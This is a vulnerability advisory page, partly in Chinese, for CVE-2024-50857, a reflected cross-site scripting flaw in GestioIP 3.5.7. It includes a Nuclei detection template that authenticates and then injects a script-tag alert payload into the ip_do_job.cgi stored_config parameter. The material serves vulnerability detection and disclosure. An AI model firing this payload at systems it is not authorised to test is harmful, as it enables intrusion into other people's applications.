CVE-2024-50857: GestioIP - Reflected Cross-Site Scripting

日期: 2025-11-11 | 影响软件: GestioIP | POC: 已公开

漏洞描述

GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.

PoC代码[已公开]

id: CVE-2024-50857

info:
  name: GestioIP - Reflected Cross-Site Scripting
  author: Gaurang
  severity: medium
  description: |
    GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.
  impact: |
    Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks.
  remediation: |
    Sanitize user input in the ip_do_job request and update to the latest version of GestioIP.
  reference:
    - https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
    - https://github.com/muebel/gestioip-docker-compose
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50857
    - http://www.gestioip.net
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-50857
    cwe-id: CWE-79
    epss-score: 0.00245
    epss-percentile: 0.47696
    cpe: cpe:2.3:a:gestioip:gestioip:3.5.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: gestioip
    product: gestioip
  tags: cve,cve2025,gestioip,xss,reflected,authenticated
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        httpd_username={{username}}&httpd_password={{password}}&login=login&create_csrf_token=true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Gesti&oacute", "logout")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "bad format (6b) <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022061e460ea514bc37b9d6ec54256e5905962c5b4b08f5f3b730ef4411e0e12c58a022100afdb24c15e5a8678ec018cf7be613cf5dc99a454e440f4ce7659704fbdb75a21:922c64590222798bb761d5b6d8e72950